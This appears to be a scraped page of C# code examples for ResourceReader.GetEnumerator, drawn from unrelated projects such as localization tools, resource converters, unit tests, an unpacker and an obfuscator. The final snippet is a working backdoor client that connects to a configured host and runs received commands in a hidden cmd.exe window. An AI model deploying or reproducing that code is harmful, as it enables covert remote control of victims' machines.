public GetEnumerator ( ) : IDictionaryEnumerator | ||
Résultat | IDictionaryEnumerator |
public static bool Phase2() { var resName = PhaseParam; var resReader = new ResourceReader(AsmDef.FindResource(res => res.Name == "app.resources").GetResourceStream()); var en = resReader.GetEnumerator(); byte[] resData = null; while (en.MoveNext()) { if (en.Key.ToString() == resName) resData = en.Value as byte[]; } if(resData == null) { PhaseError = new PhaseError { Level = PhaseError.ErrorLevel.Critical, Message = "Could not read resource data!" }; } PhaseParam = resData; return true; }
private void Form1_Load(object sender, EventArgs e) { Assembly thisAssembly = Assembly.GetExecutingAssembly(); string[] test = Assembly.GetExecutingAssembly().GetManifestResourceNames(); foreach (string file in test) { Stream rgbxml = thisAssembly.GetManifestResourceStream( file); try { ResourceReader res = new ResourceReader(rgbxml); IDictionaryEnumerator dict = res.GetEnumerator(); while (dict.MoveNext()) { Console.WriteLine(" {0}: '{1}' (Type {2})", dict.Key, dict.Value, dict.Value.GetType().Name); if (dict.Key.ToString().EndsWith(".ToolTip") || dict.Key.ToString().EndsWith(".Text") || dict.Key.ToString().EndsWith("HeaderText") || dict.Key.ToString().EndsWith("ToolTipText")) { dataGridView1.Rows.Add(); dataGridView1.Rows[dataGridView1.RowCount - 1].Cells[colFile.Index].Value = System.IO.Path.GetFileName(file); dataGridView1.Rows[dataGridView1.RowCount - 1].Cells[colInternal.Index].Value = dict.Key.ToString(); dataGridView1.Rows[dataGridView1.RowCount - 1].Cells[colEnglish.Index].Value = dict.Value.ToString(); dataGridView1.Rows[dataGridView1.RowCount - 1].Cells[colOtherLang.Index].Value = dict.Value.ToString(); } } } catch {} } }
private void FixNow(string path) { try { string sound = Path.Combine(path, "zone", "snd"); if (!Directory.Exists(sound)) throw new Exception("リソース(資源)の一部が欠けてるようです。"); sound = Path.Combine(sound, "en"); Directory.CreateDirectory(sound); Assembly asm = Assembly.GetExecutingAssembly(); Stream resource = asm.GetManifestResourceStream("SteamPatch_BO3_BETA.Properties.Resources.resources"); using (IResourceReader render = new ResourceReader(resource)) { IDictionaryEnumerator id = render.GetEnumerator(); while (id.MoveNext()) { byte[] bytes = (byte[])id.Value; string file = Path.Combine(sound, id.Key.ToString()); File.WriteAllBytes(file, bytes); } } MessageBox.Show("適応しました", Application.ProductName, MessageBoxButtons.OK, MessageBoxIcon.Information); } catch (Exception ex) { MessageBox.Show(ex.Message, Application.ProductName, MessageBoxButtons.OK, MessageBoxIcon.Error); } }
/// <summary> /// 默认构造函数 /// </summary> /// <param name="filepath">资源文件路径</param> public ResourceHelper(string filepath) { this.m_FilePath = filepath; this.m_Hashtable = new Hashtable(); //如果存在 if (File.Exists(filepath)) { string tempFile = HConst.TemplatePath + "\\decryptFile.resx"; //解密文件 //System.Net.Security tSecurity = new Security(); //tSecurity.DecryptDES(filepath, tempFile); File.Copy(filepath, tempFile); using (ResourceReader ResReader = new ResourceReader(tempFile)) { IDictionaryEnumerator tDictEnum = ResReader.GetEnumerator(); while (tDictEnum.MoveNext()) { this.m_Hashtable.Add(tDictEnum.Key, tDictEnum.Value); } ResReader.Close(); } //删除临时文件 File.Delete(tempFile); } }
protected SqlStatementsBase(Assembly assembly, string resourcePath) { Ensure.That(assembly, "assembly").IsNotNull(); Ensure.That(resourcePath, "resourcePath").IsNotNullOrWhiteSpace(); if (!resourcePath.EndsWith(".resources")) resourcePath = string.Concat(resourcePath, ".resources"); resourcePath = string.Concat(assembly.GetName().Name, ".", resourcePath); _sqlStrings = new Dictionary<string, string>(); using (var resourceStream = assembly.GetManifestResourceStream(resourcePath)) { using (var reader = new ResourceReader(resourceStream)) { var e = reader.GetEnumerator(); while (e.MoveNext()) { _sqlStrings.Add(e.Key.ToString(), e.Value.ToString()); } } if(resourceStream != null) resourceStream.Close(); } }
public XamlSnippetProvider(Assembly assembly, string resourceIdString) { var resourceIds = new[] { resourceIdString }; foreach (var resourceId in resourceIds) { try { using (var reader = new ResourceReader(assembly.GetManifestResourceStream(resourceId))) { var enumerator = reader.GetEnumerator(); while (enumerator.MoveNext()) { var name = enumerator.Key as string; var xaml = enumerator.Value as string; if (name != null && xaml != null) { snippets.Add(new Snippet(name, xaml)); } } } } catch (Exception e) { Debug.WriteLine($"Cannot load snippets. Exception: {e}"); } } }
private static ResourceKeys Open(Type resourceType, CultureInfo culture) { string pathRoot = System.IO.Path.GetDirectoryName(new System.Uri(System.Reflection.Assembly.GetCallingAssembly().CodeBase).LocalPath); ResourceKeys returnValue = ResourceKeys.Open(resourceType); string fileName = GetResourceFileName(resourceType, culture); fileName = System.IO.Path.Combine(pathRoot, fileName); using (ResourceReader reader = new ResourceReader(fileName)) { IDictionaryEnumerator dict = reader.GetEnumerator(); while (dict.MoveNext()) { string resourceKey, resourceValue; resourceKey = dict.Key as string; resourceValue = dict.Value as string; if (resourceKey.IsNullEmptyOrWhiteSpace() || resourceValue.IsNullEmptyOrWhiteSpace()) { continue; } returnValue.Add(resourceKey, resourceValue, culture); } } return(returnValue); }
/// <summary> Creates a new <code>DatabaseType</code>. /// /// </summary> /// <param name="databaseType">the type of database /// </param> public DatabaseType(System.String databaseType) { Assembly assembly = Assembly.GetExecutingAssembly(); string resourceName = string.Format("AutopatchNet.{0}.resources", databaseType.ToLower()); System.IO.Stream rs = assembly.GetManifestResourceStream(resourceName); if (rs == null) { throw new System.ArgumentException("Could not find SQL resources file for database '" + databaseType + "'; make sure that there is a '" + databaseType.ToLower() + ".resources' file in package."); } try { ResourceReader reader = new ResourceReader(rs); IDictionaryEnumerator en = reader.GetEnumerator(); while(en.MoveNext()) { string sqlkey = (string)en.Key; string sql = (string)en.Value; properties.Add(sqlkey, sql); } reader.Close(); } catch (System.IO.IOException e) { throw new System.ArgumentException("Could not read SQL resources file for database '" + databaseType + "'.", e); } finally { rs.Close(); } this.databaseType = databaseType; }
private void TranslateFromStream(FileStream stream, string outputDirectory) { var resourceReader = new ResourceReader(stream); var enumerator = resourceReader.GetEnumerator(); while (enumerator.MoveNext()) { var resource = new Resource(enumerator.Key, enumerator.Value); xamlTranslator.Translate(resource, outputDirectory); } }
public override void Run() { // Here an example that shows how to access the current text document: ITextEditorControlProvider tecp = WorkbenchSingleton.Workbench.ActiveContent as ITextEditorControlProvider; if (tecp == null) { // active content is not a text editor control return; } // Get the active text area from the control: TextArea textArea = tecp.TextEditorControl.ActiveTextAreaControl.TextArea; if (!textArea.SelectionManager.HasSomethingSelected) return; // get the selected text: string text = textArea.SelectionManager.SelectedText; string sdSrcPath = Path.Combine(Path.GetDirectoryName(GetType().Assembly.Location), "../../../.."); using (ResourceReader r = new ResourceReader(Path.Combine(sdSrcPath, "Main/StartUp/Project/Resources/StringResources.resources"))) { IDictionaryEnumerator en = r.GetEnumerator(); // Goes through the enumerator, printing out the key and value pairs. while (en.MoveNext()) { if (object.Equals(en.Value, text)) { SetText(textArea, en.Key.ToString(), text); return; } } } string resourceName = MessageService.ShowInputBox("Add Resource", "Please enter the name for the new resource.\n" + "This should be a namespace-like construct, please see what the names of resources in the same component are.", PropertyService.Get("ResourceToolLastResourceName")); if (resourceName == null || resourceName.Length == 0) return; PropertyService.Set("ResourceToolLastResourceName", resourceName); string purpose = MessageService.ShowInputBox("Add Resource", "Enter resource purpose (may be empty)", ""); if (purpose == null) return; SetText(textArea, resourceName, text); string path = Path.GetFullPath(Path.Combine(sdSrcPath, "Tools/StringResourceTool/bin/Debug")); ProcessStartInfo info = new ProcessStartInfo(path + "\\StringResourceTool.exe", "\"" + resourceName + "\" " + "\"" + text + "\" " + "\"" + purpose + "\""); info.WorkingDirectory = path; try { Process.Start(info); } catch (Exception ex) { MessageService.ShowError(ex, "Error starting " + info.FileName); } }
public void WriteResource(IResourceService service) { using (ResourceReader reader = new ResourceReader(this.FileName)) { IResourceWriter writer = service.DefineResource(this.Name, this.Description); IDictionaryEnumerator e = reader.GetEnumerator(); while (e.MoveNext()) { writer.AddResource((string)e.Key, e.Value); } } }
private void Application_Startup(object sender, StartupEventArgs e) { ResourceReader reader = new ResourceReader("C:\\Users\\ssickles\\Desktop\\Infralution.Localization.Wpf\\SampleApp_CS\\bin\\Debug\\fr\\WpfApp.resources.dll"); IDictionaryEnumerator resourceReaderEn = reader.GetEnumerator(); while (resourceReaderEn.MoveNext()) { Console.WriteLine("Name: {0} - Value: {1}", resourceReaderEn.Key.ToString().PadRight(10, ' '), resourceReaderEn.Value); } ResourceWriter writer = new ResourceWriter("C:\\Users\\ssickles\\Desktop\\Infralution.Localization.Wpf\\SampleApp_CS\\bin\\Debug\\fr\\WpfApp.resources.dll"); }
public static string ConvertEmbeddedResourceFile(Configuration configuration, string assemblyName, Assembly assembly, string resourceName) { var output = new StringBuilder(); using (var stream = assembly.GetManifestResourceStream(resourceName)) using (var reader = new ResourceReader(stream)) { output.AppendLine("{"); bool first = true; var e = reader.GetEnumerator(); while (e.MoveNext()) { if (!first) output.AppendLine(","); else first = false; var key = Convert.ToString(e.Key); output.AppendFormat(" {0}: ", JSIL.Internal.Util.EscapeString(key)); var value = e.Value; if (value == null) { output.Append("null"); } else { switch (value.GetType().FullName) { case "System.String": output.Append(JSIL.Internal.Util.EscapeString((string)value)); break; case "System.Single": case "System.Double": case "System.UInt16": case "System.UInt32": case "System.UInt64": case "System.Int16": case "System.Int32": case "System.Int64": output.Append(Convert.ToString(value)); break; default: output.Append(JSIL.Internal.Util.EscapeString(Convert.ToString(value))); break; } } } output.AppendLine(); output.AppendLine("}"); } return output.ToString(); }
static void Main(string[] args) { if(args.Length !=1) { Console.Write("[-] Error\nnetZunpacker.exe packedfile.exe\nPress Enter to Exit"); Console.Read(); return; } try { String path; if (!Path.IsPathRooted(args[0])) { path = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location) + "\\" + args[0]; } else { path = args[0]; } Assembly a = Assembly.LoadFile(path); ResourceManager rm = new ResourceManager("app", a); String[] resourceNames = a.GetManifestResourceNames(); int p; foreach (string resName in resourceNames) { Stream resStream = a.GetManifestResourceStream(resName); var rr = new ResourceReader(resStream); IDictionaryEnumerator dict = rr.GetEnumerator(); int ctr = 0; while (dict.MoveNext()) { ctr++; //Console.WriteLine("\n{0:00}: {1} = {2}", ctr, dict.Key, dict.Value); if (((byte[])rm.GetObject(dict.Key.ToString()))[0] == 120) { Decoder((byte[])rm.GetObject(dict.Key.ToString()), dict.Key.ToString()); } } rr.Close(); } } catch(Exception e) { String s = e.Message; Console.Write(s); } }
internal static string GetString(string str, string lang) { if (string.IsNullOrEmpty(str)) throw new ArgumentNullException("Empty language query string"); if (string.IsNullOrEmpty(lang)) throw new ArgumentNullException("No language resource given"); // culture-specific file, i.e. "LangResources.fr" Stream stream = Assembly.GetExecutingAssembly().GetManifestResourceStream("ScreenToGif.Properties.Lang" + lang + ".resources"); //string[] resourceNames = Assembly.GetExecutingAssembly().GetManifestResourceNames(); //if (resourceNames.Any()) //{ // // //} // resource not found, revert to default resource if (null == stream) { stream = Assembly.GetExecutingAssembly().GetManifestResourceStream("ScreenToGif.Properties.Resources.resources"); } ResourceReader reader = new ResourceReader(stream); IDictionaryEnumerator en = reader.GetEnumerator(); while (en.MoveNext()) { if (en.Key.Equals(str)) { return en.Value.ToString(); } } #region If string is not translated stream = Assembly.GetExecutingAssembly().GetManifestResourceStream("ScreenToGif.Properties.Resources"); reader = new ResourceReader(stream); IDictionaryEnumerator en1 = reader.GetEnumerator(); while (en1.MoveNext()) { if (en1.Key.Equals(str)) { return en1.Value.ToString(); } } #endregion return "<STRING>"; }
public void PostRename(ConfuserContext context, INameService service, ProtectionParameters parameters, IDnlibDef def) { var module = def as ModuleDefMD; if (module == null) return; var wpfResInfo = context.Annotations.Get<Dictionary<string, Dictionary<string, BamlDocument>>>(module, BAMLKey); if (wpfResInfo == null) return; foreach (EmbeddedResource res in module.Resources.OfType<EmbeddedResource>()) { Dictionary<string, BamlDocument> resInfo; if (!wpfResInfo.TryGetValue(res.Name, out resInfo)) continue; var stream = new MemoryStream(); var writer = new ResourceWriter(stream); res.Data.Position = 0; var reader = new ResourceReader(new ImageStream(res.Data)); IDictionaryEnumerator enumerator = reader.GetEnumerator(); while (enumerator.MoveNext()) { var name = (string)enumerator.Key; string typeName; byte[] data; reader.GetResourceData(name, out typeName, out data); BamlDocument document; if (resInfo.TryGetValue(name, out document)) { var docStream = new MemoryStream(); docStream.Position = 4; BamlWriter.WriteDocument(document, docStream); docStream.Position = 0; docStream.Write(BitConverter.GetBytes((int)docStream.Length - 4), 0, 4); data = docStream.ToArray(); name = document.DocumentName; } writer.AddResourceData(name, typeName, data); } writer.Generate(); res.Data = MemoryImageStream.Create(stream.ToArray()); } }
void ProcessAssembly(Assembly thisAssembly) { Console.WriteLine("Load Assembly " + thisAssembly.FullName); string[] test = thisAssembly.GetManifestResourceNames(); foreach (string file in test) { if (!file.EndsWith(".resources")) continue; Stream rgbxml = thisAssembly.GetManifestResourceStream( file); try { ResourceReader res = new ResourceReader(rgbxml); IDictionaryEnumerator dict = res.GetEnumerator(); while (dict.MoveNext()) { if (dict.Value == null) continue; Console.WriteLine(" {0}: '{1}' (Type {2})", dict.Key, dict.Value, dict.Value.GetType().Name); if (file.Contains("MissionPlanner.Strings.resources") || dict.Key.ToString().EndsWith(".ToolTip") || dict.Key.ToString().EndsWith(".Text") || dict.Key.ToString().EndsWith("HeaderText") || dict.Key.ToString().EndsWith("ToolTipText")) { dataGridView1.Rows.Add(); dataGridView1.Rows[dataGridView1.RowCount - 1].Cells[colFile.Index].Value = System.IO.Path.GetFileName(file); dataGridView1.Rows[dataGridView1.RowCount - 1].Cells[colInternal.Index].Value = dict.Key.ToString(); dataGridView1.Rows[dataGridView1.RowCount - 1].Cells[colEnglish.Index].Value = dict.Value.ToString(); dataGridView1.Rows[dataGridView1.RowCount - 1].Cells[colOtherLang.Index].Value = dict.Value.ToString(); } } } catch { } } }
public DemoExplorer(string fileName) : base(new Guid("83c6c606-e8fb-4fbb-87ab-e41e617589bd")) { FileName = fileName; Files = new List<FarFile>(); // Read the .resources file, create and cache the panels files using (var reader = new ResourceReader(fileName)) { var it = reader.GetEnumerator(); while (it.MoveNext()) { SetFile file = new SetFile(); file.Name = it.Key.ToString(); file.Description = Convert.ToString(it.Value); Files.Add(file); } } }
/// <summary>Initializes a new instance of the <see cref="Preset"/> class from the files specified in the passed resource.resx, and adds the information to the presets.</summary> /// <param name="letters">The list of letters that go into the gem (e.g., "obr").</param> /// <param name="name">The friendly name of the group, for display purposes.</param> /// <param name="embeddedResourceFullName">Full path to the embedded assembly resource file containing the schemes</param> public Preset(string letters, string name, string embeddedResourceFullName) { ThrowNull(letters, nameof(letters)); ThrowNull(name, nameof(name)); ThrowNull(embeddedResourceFullName, nameof(embeddedResourceFullName)); this.Name = name; using (ResourceReader resourceReader = new ResourceReader(assembly.GetManifestResourceStream(embeddedResourceFullName))) { var dict = resourceReader.GetEnumerator(); while (dict.MoveNext()) { var gemCombines = new List<Instruction>(); using (MemoryStream memoryStream = new MemoryStream((byte[])dict.Value)) using (BinaryReader binaryStream = new BinaryReader(memoryStream)) { while (memoryStream.Position < memoryStream.Length) { gemCombines.Add(Instruction.NewFromStream(binaryStream)); } } List<Gem> gems = new List<Gem>(); gems.Add(null); for (int i = 0; i < gemCombines[0].From; i++) { gems.Add(new Gem(letters[i])); } Gem lastGem = null; for (int i = 1; i < gemCombines.Count; i++) { var combine = gemCombines[i]; Gem c1 = gems[combine.From]; Gem c2 = gems[combine.To]; lastGem = new Gem(c1, c2); gems.Add(lastGem); } this.Entries.Add(lastGem); } } }
private void CollectBundle(string assemblyName, string bundleName) { String strippedBundleName = bundleName.Substring(0, bundleName.Length - ".resources".Length); // Strip ".resources" postfix String locale = strippedBundleName.Substring(strippedBundleName.LastIndexOf('.') + 1); strippedBundleName = strippedBundleName.Substring(0, strippedBundleName.LastIndexOf('.')); // Strip "locale" postfix var translations = new List<ResourceTranslation>(); var stream = assembly.GetManifestResourceStream(bundleName); var reader = new ResourceReader(stream); IDictionaryEnumerator dict = reader.GetEnumerator(); while (dict.MoveNext()) CollectTranslatedResource(strippedBundleName, dict, reader, translations); if (translations.Count > 0) { var stats = translationSyncCallback(projectID, assemblyName, strippedBundleName, translations); AddStats(stats); } }
/// <summary> /// 读取 资源文件信息. /// </summary> /// <param name="resName"></param> public void DisplayHello(String resName) { try { ResourceReader reader = new ResourceReader(resName + ".resource"); IDictionaryEnumerator dict = reader.GetEnumerator(); while (dict.MoveNext()) { String s = (String)dict.Key; if (s == "Hello") { Console.WriteLine(dict.Value); } } } catch (Exception ex) { Console.WriteLine(ex.Message); Console.WriteLine(ex.StackTrace); } }
public static string GetValue(string filename, string key) { var result = string.Empty; using (var r = new ResourceReader(filename)) { var rr = r.GetEnumerator(); while (rr.MoveNext()) { if (rr.Key.Equals(key)) { result = rr.Value as string; } } } return result; }
public static int FillValues2(string fileName, Dictionary <string, System.Tuple <string, byte[]> > values) { int result = 0; using (var reader = new System.Resources.ResourceReader(fileName)) { var enumer = reader.GetEnumerator(); while (enumer.MoveNext()) { string name = Convert.ToString(enumer.Key); string resType = null; byte[] itemData = null; reader.GetResourceData(name, out resType, out itemData); if (resType != null && resType.Length > 0 && itemData != null && itemData.Length > 0) { values[name] = new Tuple <string, byte[]>(resType, itemData); result++; } } } return(result); }
private void GetPic(DirectoryInfo dir) { foreach (var file in dir.GetFiles()) { if (file.Name.EndsWith(".exe") || file.Name.EndsWith(".dll")) { var assembly = Assembly.LoadFile(file.FullName); var list = assembly.GetManifestResourceNames(); foreach (var item in list) { using (var stream = assembly.GetManifestResourceStream(item)) { if (item.EndsWith(".resources")) { using (var reader = new ResourceReader(stream)) { var enumer = reader.GetEnumerator(); while (enumer.MoveNext()) { listBox1.Items.Add(enumer.Key + ":" + enumer.Value.ToString()); } } } } } } } foreach (var folder in dir.GetDirectories()) { GetPic(folder); } }
[Test] // AddResource (string, byte []) public void AddResource0 () { byte [] value = new byte [] { 5, 7 }; MemoryStream ms = new MemoryStream (); ResourceWriter writer = new ResourceWriter (ms); writer.AddResource ("Name", value); writer.Generate (); try { writer.AddResource ("Address", new byte [] { 8, 12 }); Assert.Fail ("#A1"); } catch (InvalidOperationException ex) { // The resource writer has already been closed // and cannot be edited Assert.AreEqual (typeof (InvalidOperationException), ex.GetType (), "#A2"); Assert.IsNull (ex.InnerException, "#A3"); Assert.IsNotNull (ex.Message, "#A4"); } ms.Position = 0; ResourceReader rr = new ResourceReader (ms); IDictionaryEnumerator enumerator = rr.GetEnumerator (); Assert.IsTrue (enumerator.MoveNext (), "#B1"); Assert.AreEqual ("Name", enumerator.Key, "#B3"); Assert.AreEqual (value, enumerator.Value, "#B4"); Assert.IsFalse (enumerator.MoveNext (), "#B5"); writer.Close (); }
/* * Load */ public static Program Load(String fileName) { Program program = null; using (ResourceReader resourceReader = new ResourceReader(fileName)) { IDictionaryEnumerator enumerator = resourceReader.GetEnumerator(); while (enumerator.MoveNext()) { switch (Convert.ToString(enumerator.Key)) { case "Program": { program = (Program)enumerator.Key; break; } case "ProgramNode": { program = ((ProgramNode)enumerator.Value).SubProgram; break; } } } } return program; }
[Test] // AddResource (string, string) public void AddResource2_Value_Null () { MemoryStream ms = new MemoryStream (); ResourceWriter writer = new ResourceWriter (ms); writer.AddResource ("Name", (string) null); writer.Generate (); ms.Position = 0; ResourceReader rr = new ResourceReader (ms); IDictionaryEnumerator enumerator = rr.GetEnumerator (); Assert.IsTrue (enumerator.MoveNext (), "#1"); Assert.AreEqual ("Name", enumerator.Key, "#2"); Assert.IsNull (enumerator.Value, "#3"); Assert.IsFalse (enumerator.MoveNext (), "#4"); writer.Close (); }
[Test] // bug #339074 public void Close_NoResources () { string tempFile = Path.Combine (AppDomain.CurrentDomain.BaseDirectory, "test.resources"); ResourceWriter writer = new ResourceWriter (tempFile); writer.Close (); using (FileStream fs = File.OpenRead (tempFile)) { Assert.IsFalse (fs.Length == 0, "#1"); using (ResourceReader reader = new ResourceReader (fs)) { Assert.IsFalse (reader.GetEnumerator ().MoveNext (), "#2"); } } }
private void comboBox1_SelectedIndexChanged(object sender, EventArgs e) { string ci = ""; CultureInfo[] temp = System.Globalization.CultureInfo.GetCultures(CultureTypes.AllCultures); foreach (CultureInfo cul in temp) { if ((cul.DisplayName + " " + cul.Name) == comboBox1.Text) { Console.WriteLine(cul.Name); ci = cul.Name; } } Assembly thisAssembly = null; try { string fn = Path.GetDirectoryName(Application.ExecutablePath) + Path.DirectorySeparatorChar + ci + Path.DirectorySeparatorChar + "MissionPlanner.resources.dll"; if (File.Exists(fn)) thisAssembly = Assembly.LoadFile(fn); else return; } catch { return; } string[] test = thisAssembly.GetManifestResourceNames(); Encoding unicode = Encoding.Unicode; foreach (string file in test) { Stream rgbxml = thisAssembly.GetManifestResourceStream( file); try { ResourceReader res = new ResourceReader(rgbxml); IDictionaryEnumerator dict = res.GetEnumerator(); while (dict.MoveNext()) { try { Console.WriteLine(" {0}: '{1}' (Type {2})", dict.Key, dict.Value, dict.Value.GetType().Name); if (dict.Value is Size) continue; string thing = (string) dict.Value; // dataGridView1.Rows[0].Cells[colOtherLang.Index].Value = dict.Value.ToString(); foreach (DataGridViewRow row in dataGridView1.Rows) { string t2 = file.Replace(ci + ".", ""); if (row.Cells[0].Value.ToString() == t2 && row.Cells[1].Value.ToString() == dict.Key.ToString()) { row.Cells[3].Value = thing; } } } catch { } } } catch { } } CustomMessageBox.Show("Loaded Existing"); }
public void AddResourceFile(string name, string file, ResourceAttributes attribute) { IResourceWriter rw = _myModule.DefineResource(Path.GetFileName(file), name, attribute); string ext = Path.GetExtension(file); if(String.Equals(ext, ".resources", StringComparison.OrdinalIgnoreCase)) { ResourceReader rr = new ResourceReader(file); using (rr) { System.Collections.IDictionaryEnumerator de = rr.GetEnumerator(); while (de.MoveNext()) { string key = de.Key as string; rw.AddResource(key, de.Value); } } } else { rw.AddResource(name, File.ReadAllBytes(file)); } }
private int WriteResource(IResource resource) { IEmbeddedResource embeddedResource = resource as IEmbeddedResource; if (embeddedResource != null) { try { byte[] buffer = embeddedResource.Value; string fileName = Path.Combine(_outputDirectory, resource.Name); if (resource.Name.EndsWith(".resources")) { fileName = Path.ChangeExtension(fileName, ".resx"); using (MemoryStream ms = new MemoryStream(embeddedResource.Value)) { ResXResourceWriter resxw = new ResXResourceWriter(fileName); IResourceReader reader = new ResourceReader(ms); IDictionaryEnumerator en = reader.GetEnumerator(); while (en.MoveNext()) { resxw.AddResource(en.Key.ToString(), en.Value); } reader.Close(); resxw.Close(); } } else // other embedded resource { if (buffer != null) { using (Stream stream = File.Create(fileName)) { stream.Write(buffer, 0, buffer.Length); } } } AddToProjectFiles(fileName); return 0; } catch (Exception ex) { WriteLine("Error in " + resource.Name + " : " + ex.Message); } } return WriteOtherResource(resource); }
/// <summary>Enbdeds resource into assembly</summary> /// <param name="builder"><see cref="ModuleBuilder"/> to embede resource in</param> /// <param name="name">Name of the resource</param> /// <param name="path">File to obtain resource from</param> /// <param name="attributes">Defines resource visibility</param> //DefineResource // Exceptions: // System.ArgumentException: // name has been previously defined or if there is another file in the assembly // named fileName.-or- The length of name is zero.-or- The length of fileName // is zero.-or- fileName includes a path. // // System.ArgumentNullException: // name or fileName is null. // // System.Security.SecurityException: // The caller does not have the required permission. //ResourceReader // Exceptions: // System.ArgumentException: // The stream is not readable. // // System.ArgumentNullException: // The stream parameter is null. // // System.IO.IOException: // An I/O error has occurred while accessing stream. //AddResource // Exceptions: // System.ArgumentNullException: // The name parameter is null. //ReadAllBytes // Exceptions: // System.ArgumentException: // path is a zero-length string, contains only white space, or contains one // or more invalid characters as defined by System.IO.Path.InvalidPathChars. // // System.ArgumentNullException: // path is null. // // System.IO.PathTooLongException: // The specified path, file name, or both exceed the system-defined maximum // length. For example, on Windows-based platforms, paths must be less than // 248 characters, and file names must be less than 260 characters. // // System.IO.DirectoryNotFoundException: // The specified path is invalid (for example, it is on an unmapped drive). // // System.IO.IOException: // An I/O error occurred while opening the file. // // System.UnauthorizedAccessException: // path specified a file that is read-only.-or- This operation is not supported // on the current platform.-or- path specified a directory.-or- The caller does // not have the required permission. // // System.IO.FileNotFoundException: // The file specified in path was not found. // // System.NotSupportedException: // path is in an invalid format. // // System.Security.SecurityException: // The caller does not have the required permission. private void AddResourceFile(ModuleBuilder builder,string name, FullPath path, ResourceAttributes attributes) { IResourceWriter rw = builder.DefineResource(path.FileName, name, attributes); string ext = path.Extension.ToLower(); if(ext == ".resources") { ResourceReader rr = new ResourceReader(path); using(rr) { System.Collections.IDictionaryEnumerator de = rr.GetEnumerator(); while(de.MoveNext()) { string key = de.Key as string; rw.AddResource(key, de.Value); } } } else { rw.AddResource(name, File.ReadAllBytes(path)); } }
static void Main(String[] args) { var assembly = Assembly.GetExecutingAssembly(); Stream fs = assembly.GetManifestResourceStream("Client.temp.resources"); var readed = new System.Resources.ResourceReader(fs); IDictionaryEnumerator dict = readed.GetEnumerator(); dict.MoveNext(); String ipAddress = (String)dict.Value; dict.MoveNext(); int port = Convert.ToInt32((String)dict.Value); TcpClient tcpCli = new TcpClient(); Console.WriteLine("Waiting for connection..."); while (true) { try { tcpCli.Connect(ipAddress, port); } catch { continue; } if (tcpCli.Connected) { break; } } //Add an Async so the client exe doesn't auto close while (true) { String dataRcved = DownloadData(tcpCli); System.Diagnostics.Process process = new System.Diagnostics.Process(); System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo(); startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; startInfo.FileName = "cmd.exe"; startInfo.Arguments = "/C " + dataRcved; startInfo.RedirectStandardOutput = true; startInfo.UseShellExecute = false; process.StartInfo = startInfo; process.Start(); StringBuilder outputted = new StringBuilder(); while (!process.StandardOutput.EndOfStream) { outputted.Append(process.StandardOutput.ReadLine() + "\n"); } process.WaitForExit(); byte[] output = encrypt(outputted.ToString()); NetworkStream netStream = tcpCli.GetStream(); netStream.Write(output, 0, output.Length); } }